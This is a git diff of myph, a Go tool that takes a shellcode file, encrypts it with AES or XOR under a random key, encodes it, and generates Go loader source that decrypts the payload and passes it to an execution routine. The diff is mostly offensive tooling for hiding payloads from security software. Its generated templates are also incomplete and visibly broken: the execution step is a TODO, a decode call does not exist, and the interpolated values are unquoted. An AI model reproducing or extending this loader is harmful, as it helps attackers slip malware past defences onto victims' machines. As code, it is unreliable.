diff --git a/cli/defaults.go b/cli/defaults.go
@@ -12,7 +12,7 @@ func GetDefaultCLIOptions() Options {
OS: "windows",
arch: "amd64",
Target: "",
- Encryption: encKindAES,
+ Encryption: EncKindAES,
Key: "",
}
diff --git a/cli/parser.go b/cli/parser.go
@@ -4,7 +4,7 @@ import (
"fmt"
"os"
- "github.com/cmepw/myph/loader"
+ "github.com/cmepw/myph/tools"
"github.com/spf13/cobra"
)
@@ -24,22 +24,78 @@ func GetParser(opts *Options) *cobra.Command {
os.Exit(1)
}
- err := loader.CreateTmpProjectRoot(opts.Outfile)
+ err := tools.CreateTmpProjectRoot(opts.Outfile)
if err != nil {
fmt.Printf("[!] Error generating project root: %s", err)
os.Exit(1)
}
- shellcode, err := loader.ReadFile(opts.ShellcodePath)
+ shellcode, err := tools.ReadFile(opts.ShellcodePath)
if err != nil {
fmt.Printf("[!] Error reading shellcode file: %s", err)
os.Exit(1)
}
- encType := loader.SelectRandomEncodingType()
- shellcodeAsString := loader.EncodeForInterpolation(encType, shellcode)
+ if opts.Key == "" {
+ opts.Key = tools.RandomString(64)
+ }
+
+ encType := tools.SelectRandomEncodingType()
+
+ /*
+ depending on encryption type, we do the following:
+
+ - encrypt shellcode with key
+ - write both encrypted & key to file
+ - write to encrypt.go
+ - write to go.mod the required dependencies
+ */
+
+ var encrypted = []byte{};
+ var template = ""
+
+ switch opts.Encryption {
+ case EncKindAES:
+ encrypted, err = tools.EncryptAES(shellcode, []byte(opts.Key))
+ if err != nil {
+ fmt.Println("[!] Could not encrypt with AES")
+ os.Exit(1)
+ }
+ template = tools.GetAESTemplate()
+
+
+ case EncKindXOR:
+ encrypted, err = tools.EncryptXOR(shellcode, []byte(opts.Key))
+ if err != nil {
+ fmt.Println("[!] Could not encrypt with XOR")
+ os.Exit(1)
+ }
+ template = tools.GetXORTemplate()
+ }
+
+ /* write decryption routine template */
+ gofile_path := fmt.Sprintf("%s/encrypt.go", opts.Outfile)
+ file, err := os.OpenFile(gofile_path, os.O_TRUNC | os.O_WRONLY, 0644)
+ if err != nil {
+ panic(err)
+ }
+
+ file.WriteString(template)
+ file.Close()
+
+ /* write main execution template */
+ encodedShellcode := tools.EncodeForInterpolation(encType, encrypted)
+ encodedKey := tools.EncodeForInterpolation(encType, []byte(opts.Key))
+ maingo_path := fmt.Sprintf("%s/main.go", opts.Outfile)
+ file, err = os.OpenFile(maingo_path, os.O_TRUNC | os.O_WRONLY, 0644)
+ if err != nil {
+ panic(err)
+ }
+
+ file.WriteString(tools.GetMainTemplate(encType.String(), encodedKey, encodedShellcode))
+ file.Close()
- fmt.Println(shellcodeAsString)
+ /* TODO: finish this by adding template for each exec method and run compile */
os.Setenv("GOOS", opts.OS)
os.Setenv("GOARCH", opts.arch)
@@ -56,7 +112,7 @@ func GetParser(opts *Options) *cobra.Command {
cmd.PersistentFlags().StringVarP(&opts.arch, "arch", "r", defaults.arch, "architecture compilation target")
cmd.PersistentFlags().StringVarP(&opts.OS, "os", "o", defaults.OS, "OS compilation target")
- cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, RSA, XOR, Blowfish)")
+ cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, RSA, XOR)")
cmd.PersistentFlags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption-method)")
return cmd
diff --git a/cli/types.go b/cli/types.go
@@ -6,10 +6,9 @@ import "errors"
type encKind string
const (
- encKindAES encKind = "AES"
- encKindXOR encKind = "XOR"
- encKindRSA encKind = "RSA"
- encKindBLF encKind = "Blowfish"
+ EncKindAES encKind = "AES"
+ EncKindXOR encKind = "XOR"
+ EncKindBLF encKind = "Blowfish"
)
// String is used both by fmt.Print and by Cobra in help text
@@ -20,11 +19,11 @@ func (e *encKind) String() string {
// Set must have pointer receiver so it doesn't change the value of a copy
func (e *encKind) Set(v string) error {
switch v {
- case "AES", "XOR", "RSA", "Blowfish":
+ case "AES", "XOR":
*e = encKind(v)
return nil
default:
- return errors.New(`must be one of "AES", "XOR", "RSA" or "Blowfish"`)
+ return errors.New(`must be one of "AES" or "XOR"`)
}
}
diff --git a/go.mod b/go.mod
@@ -1,10 +1,11 @@
module github.com/cmepw/myph
-go 1.19
+go 1.20
require github.com/spf13/cobra v1.7.0
require (
github.com/inconshreveable/mousetrap v1.1.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
+ golang.org/x/crypto v0.11.0 // indirect
)
diff --git a/go.sum b/go.sum
@@ -6,5 +6,7 @@ github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I=
github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0=
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
+golang.org/x/crypto v0.11.0 h1:6Ewdq3tDic1mg5xRO4milcWCfMVQhI4NkqWWvqejpuA=
+golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/loader/encodings.go b/loader/encodings.go
@@ -1,71 +0,0 @@
-package loader
-
-import (
- "errors"
- "math/rand"
- "time"
- b64 "encoding/base64"
- b32 "encoding/base32"
- hex "encoding/hex"
-)
-
-/// Enum type that defines which bytes encoding to use
-/// in template source-code
-type BytesEncodingType string
-
-const (
- EncodingBase64 BytesEncodingType = "base64"
- EncodingBase32 BytesEncodingType = "base32"
- EncodingHex BytesEncodingType = "hex"
-)
-
-/// Available encodings type
-var Encodings = [3]string{"base64", "base32", "hex"};
-
-// String is used both by fmt.Print and by Cobra in help text
-func (e *BytesEncodingType) String() string {
- return string(*e)
-}
-
-/// Set must have pointer receiver so it doesn't change the value of a copy
-func (e *BytesEncodingType) Set(v string) error {
- switch v {
- case "base64", "base32", "hex":
- *e = BytesEncodingType(v)
- return nil
- default:
- return errors.New(`must be one of "base64", "base32", or "hex"`)
- }
-}
-
-/// Type is only used in help text
-func (e *BytesEncodingType) Type() string {
- return "BytesEncodingType"
-}
-
-/// Select a random encoding type
-func SelectRandomEncodingType() BytesEncodingType {
- rand.Seed(time.Now().Unix())
- n := rand.Int() % len(Encodings)
-
- return BytesEncodingType(Encodings[n])
-}
-
-
-/// Encode a series of bytes so that it can be interpolated into a template
-func EncodeForInterpolation(method BytesEncodingType, toEncode []byte) string {
- switch method {
-
- case EncodingBase64:
- return b64.StdEncoding.EncodeToString(toEncode)
-
- case EncodingBase32:
- return b32.StdEncoding.EncodeToString(toEncode)
-
- case EncodingHex:
- return hex.EncodeToString(toEncode)
-
- default:
- return ""
- }
-}
diff --git a/loader/utils.go b/loader/utils.go
@@ -1,80 +0,0 @@
-package loader
-
-import (
- "bytes"
- "fmt"
- "io"
- "os"
-)
-
-
-func ReadFile(filepath string) ([]byte, error) {
- buf := bytes.NewBuffer(nil)
- f, err := os.Open(filepath)
- if err != nil {
- return []byte{}, err
- }
-
- io.Copy(buf, f)
- f.Close()
-
- return buf.Bytes(), nil
-}
-
-func DirExists(dir string) (bool, error) {
- _, err := os.Stat(dir)
- if err == nil {
- return true, nil
- }
-
- if os.IsNotExist(err) {
- return false, nil
- }
- return false, err
-}
-
-func CreateTmpProjectRoot(path string) error {
-
- /*
- create a directory with the path name
- defined by the options
- */
-
- exists, err := DirExists(path)
- if err != nil {
- return err
- }
-
- if exists {
- os.RemoveAll(path)
- }
-
- err = os.MkdirAll(path, 0777)
- if err != nil {
- return err
- }
-
- var go_mod = []byte(`
- module github.com/cmepw/myph
-
- go 1.20
-
- `)
-
- gomod_path := fmt.Sprintf("%s/go.mod", path)
- fo, err := os.Create(gomod_path)
- fo.Write(go_mod)
-
- fmt.Println("[+] Project root created....")
-
- maingo_path := fmt.Sprintf("%s/main.go", path)
- _, _ = os.Create(maingo_path)
-
- execgo_path := fmt.Sprintf("%s/exec.go", path)
- _, _ = os.Create(execgo_path)
-
- encryptgo_path := fmt.Sprintf("%s/main.go", path)
- _, _ = os.Create(encryptgo_path)
-
- return nil
-}
diff --git a/tools/crypting.go b/tools/crypting.go
@@ -0,0 +1,181 @@
+package tools
+
+import (
+ "crypto/aes"
+ "crypto/cipher"
+ "crypto/rand"
+ "fmt"
+
+ "golang.org/x/crypto/blowfish"
+)
+
+func GetBlowfishTemplate() string {
+ return fmt.Sprintf(`
+ package main
+
+ import (
+ "golang.org/x/crypto/blowfish"
+
+ "crypto/cipher"
+ )
+
+ func Decrypt(toDecrypt []byte, key []byte) (error, []byte) {
+ dcipher, err := blowfish.NewCipher(key)
+ if err != nil {
+ return err, []byte{}
+ }
+
+ div := toDecrypt[:blowfish.BlockSize]
+ decrypted := toDecrypt[blowfish.BlockSize:]
+ dcbc := cipher.NewCBCDecrypter(dcipher, div)
+ dcbc.CryptBlocks(decrypted, decrypted)
+
+ return nil, decrypted
+ }
+ `)
+}
+
+func GetAESTemplate() string {
+ return fmt.Sprintf(`
+ package main
+
+ import (
+ "crypto/aes"
+ "crypto/cipher"
+ "fmt"
+ )
+
+ func Decrypt(encrypted []byte, key []byte) ([]byte, error) {
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
+
+ gcm, err := cipher.NewGCM(block)
+ if err != nil {
+ return nil, err
+ }
+
+ nonceSize := gcm.NonceSize()
+ if len(encrypted) < nonceSize {
+ return nil, fmt.Errorf("invalid encrypted data")
+ }
+ nonce := encrypted[:nonceSize]
+ encrypted = encrypted[nonceSize:]
+ decrypted, err := gcm.Open(nil, nonce, encrypted, nil)
+ if err != nil {
+ return nil, err
+ }
+ return decrypted, nil
+ }
+ `)
+}
+
+func GetXORTemplate() string {
+ return fmt.Sprintf(`
+ package main
+
+ func Decrypt(toDecrypt []byte, key []byte) ([]byte, error) {
+ encrypted := make([]byte, len(toDecrypt))
+ keyLen := len(key)
+
+ for i, b := range toDecrypt {
+ encrypted[i] = b ^ key[i %% keyLen]
+ }
+ return encrypted, nil
+ }
+ `)
+}
+
+func EncryptBlowfish(toCrypt []byte, key []byte) (error, []byte) {
+ ecipher, err := blowfish.NewCipher(key)
+ if err != nil {
+ return nil, []byte{}
+ }
+
+ ciphertext := make([]byte, blowfish.BlockSize + len(toCrypt))
+ eiv := ciphertext[:blowfish.BlockSize]
+ ecbc := cipher.NewCBCEncrypter(ecipher, eiv)
+ ecbc.CryptBlocks(ciphertext[blowfish.BlockSize:], toCrypt)
+
+ return nil, ciphertext
+}
+
+func DecryptBlowfish(toDecrypt []byte, key []byte) (error, []byte) {
+ dcipher, err := blowfish.NewCipher(key)
+ if err != nil {
+ return err, []byte{}
+ }
+
+ div := toDecrypt[:blowfish.BlockSize]
+ decrypted := toDecrypt[blowfish.BlockSize:]
+ dcbc := cipher.NewCBCDecrypter(dcipher, div)
+ dcbc.CryptBlocks(decrypted, decrypted)
+
+ return nil, decrypted
+}
+
+func EncryptXOR(toEncrypt []byte, key []byte) ([]byte, error) {
+ encrypted := make([]byte, len(toEncrypt))
+ keyLen := len(key)
+
+ for i, b := range toEncrypt {
+ encrypted[i] = b ^ key[i % keyLen]
+ }
+ return encrypted, nil
+}
+
+func DecryptXOR(toDecrypt []byte, key []byte) ([]byte, error) {
+ encrypted := make([]byte, len(toDecrypt))
+ keyLen := len(key)
+
+ for i, b := range toDecrypt {
+ encrypted[i] = b ^ key[i % keyLen]
+ }
+ return encrypted, nil
+}
+
+func EncryptAES(toEncrypt []byte, key []byte) ([]byte, error) {
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
+
+ gcm, err := cipher.NewGCM(block)
+ if err != nil {
+ return nil, err
+ }
+
+ nonce := make([]byte, gcm.NonceSize())
+ if _, err := rand.Read(nonce); err != nil {
+ return nil, err
+ }
+
+ encrypted := gcm.Seal(nil, nonce, toEncrypt, nil)
+ encrypted = append(nonce, encrypted...)
+ return encrypted, nil
+}
+
+func DecryptAES(encrypted []byte, key []byte) ([]byte, error) {
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
+
+ gcm, err := cipher.NewGCM(block)
+ if err != nil {
+ return nil, err
+ }
+
+ nonceSize := gcm.NonceSize()
+ if len(encrypted) < nonceSize {
+ return nil, fmt.Errorf("invalid encrypted data")
+ }
+ nonce := encrypted[:nonceSize]
+ encrypted = encrypted[nonceSize:]
+ decrypted, err := gcm.Open(nil, nonce, encrypted, nil)
+ if err != nil {
+ return nil, err
+ }
+ return decrypted, nil
+}
diff --git a/tools/encodings.go b/tools/encodings.go
@@ -0,0 +1,72 @@
+package tools
+
+import (
+ "errors"
+ "math/rand"
+ "time"
+ b64 "encoding/base64"
+ b32 "encoding/base32"
+ hex "encoding/hex"
+)
+
+/// Enum type that defines which bytes encoding to use
+/// in template source-code
+type BytesEncodingType string
+
+const (
+ EncodingBase64 BytesEncodingType = "base64"
+ EncodingBase32 BytesEncodingType = "base32"
+ EncodingHex BytesEncodingType = "hex"
+)
+
+/// Available encodings type
+var Encodings = [3]string{"base64", "base32", "hex"};
+
+// String is used both by fmt.Print and by Cobra in help text
+func (e *BytesEncodingType) String() string {
+ return string(*e)
+}
+
+/// Set must have pointer receiver so it doesn't change the value of a copy
+func (e *BytesEncodingType) Set(v string) error {
+ switch v {
+ case "base64", "base32", "hex":
+ *e = BytesEncodingType(v)
+ return nil
+ default:
+ return errors.New(`must be one of "base64", "base32", or "hex"`)
+ }
+}
+
+/// Type is only used in help text
+func (e *BytesEncodingType) Type() string {
+ return "BytesEncodingType"
+}
+
+/// Select a random encoding type
+func SelectRandomEncodingType() BytesEncodingType {
+ rand.Seed(time.Now().Unix())
+ n := rand.Int() % len(Encodings)
+
+ return BytesEncodingType(Encodings[n])
+}
+
+
+/// Encode a series of bytes so that it can be interpolated into a template
+func EncodeForInterpolation(method BytesEncodingType, toEncode []byte) string {
+
+ switch method {
+
+ case EncodingBase64:
+ return b64.StdEncoding.EncodeToString(toEncode)
+
+ case EncodingBase32:
+ return b32.StdEncoding.EncodeToString(toEncode)
+
+ case EncodingHex:
+ return hex.EncodeToString(toEncode)
+
+ default:
+ return ""
+ }
+}
diff --git a/tools/utils.go b/tools/utils.go
@@ -0,0 +1,117 @@
+package tools
+
+import (
+ "bytes"
+ "fmt"
+ "io"
+ "os"
+ "math/rand"
+)
+
+
+func RandomString(n int) string {
+ var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
+ s := make([]rune, n)
+ for i := range s {
+ s[i] = letters[rand.Intn(len(letters))]
+ }
+ return string(s)
+}
+
+func ReadFile(filepath string) ([]byte, error) {
+ buf := bytes.NewBuffer(nil)
+ f, err := os.Open(filepath)
+ if err != nil {
+ return []byte{}, err
+ }
+
+ io.Copy(buf, f)
+ f.Close()
+
+ return buf.Bytes(), nil
+}
+
+func DirExists(dir string) (bool, error) {
+ _, err := os.Stat(dir)
+ if err == nil {
+ return true, nil
+ }
+
+ if os.IsNotExist(err) {
+ return false, nil
+ }
+ return false, err
+}
+
+func CreateTmpProjectRoot(path string) error {
+
+ /*
+ create a directory with the path name
+ defined by the options
+ */
+
+ exists, err := DirExists(path)
+ if err != nil {
+ return err
+ }
+
+ if exists {
+ os.RemoveAll(path)
+ }
+
+ err = os.MkdirAll(path, 0777)
+ if err != nil {
+ return err
+ }
+
+ var go_mod = []byte(`
+ module github.com/cmepw/myph
+
+ go 1.20
+ `)
+
+ gomod_path := fmt.Sprintf("%s/go.mod", path)
+ fo, err := os.Create(gomod_path)
+ fo.Write(go_mod)
+
+ fmt.Println("[+] Project root created....")
+
+ maingo_path := fmt.Sprintf("%s/main.go", path)
+ _, _ = os.Create(maingo_path)
+
+ execgo_path := fmt.Sprintf("%s/exec.go", path)
+ _, _ = os.Create(execgo_path)
+
+ encryptgo_path := fmt.Sprintf("%s/encrypt.go", path)
+ _, _ = os.Create(encryptgo_path)
+
+ return nil
+}
+
+func GetMainTemplate(encoding string, key string, sc string) string {
+ return fmt.Sprintf(`
+ package main
+
+ import (
+ enc "encoding/%s"
+ )
+
+ var Key = %s
+ var Code = %s
+
+ func main() {
+
+ decodedSc := enc.DecodeFromString(Code)
+ decodedKey := enc.DecodeFromString(Key)
+
+ decrypted, err := Decrypt(decodedSc, decodedKey)
+ if err != nil {
+ return nil
+ }
+
+ ExecuteOrderSixtySix(decrypted)
+ }
+
+ `, encoding, key, sc)
+
+}
| | | | | | | | | |